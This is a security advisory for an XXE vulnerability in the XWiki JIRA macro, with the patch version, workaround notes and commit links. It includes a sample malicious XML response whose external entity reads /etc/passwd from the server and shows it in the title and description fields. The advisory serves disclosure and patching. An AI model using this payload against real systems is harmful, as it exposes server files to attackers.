Impact
If the JIRA macro is installed, any logged in XWiki user could edit his/her user profile wiki page and use that JIRA macro, specifying a fake JIRA URL that returns an XML specifying a DOCTYPE pointing to a local file on the XWiki server host and displaying that file's content in one of the returned JIRA fields (such as the summary or description for example).
For example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<rss version="0.92">
...
<item>
<title>&xxe;</title>
<link>https://jira.xwiki.org/browse/XE-307</link>
<project id="10222" key="XE">{RETIRED} XWiki Enterprise</project>
<description>&xxe;</description>
<environment/>
...
Patches
The vulnerability has been patched in the JIRA Extension v8.6.5.
Workarounds
No easy workaround except to upgrade (which is easy using the XWiki Extension Manager).
References
- https://github.com/xwiki-contrib/jira/commit/98a74c2a516b42689c73b13ecd94e9c1998fa9cb and https://github.com/xwiki-contrib/jira/commit/5049e352d16f8356734de70daf1202301f170ee6
- https://jira.xwiki.org/browse/JIRA-49
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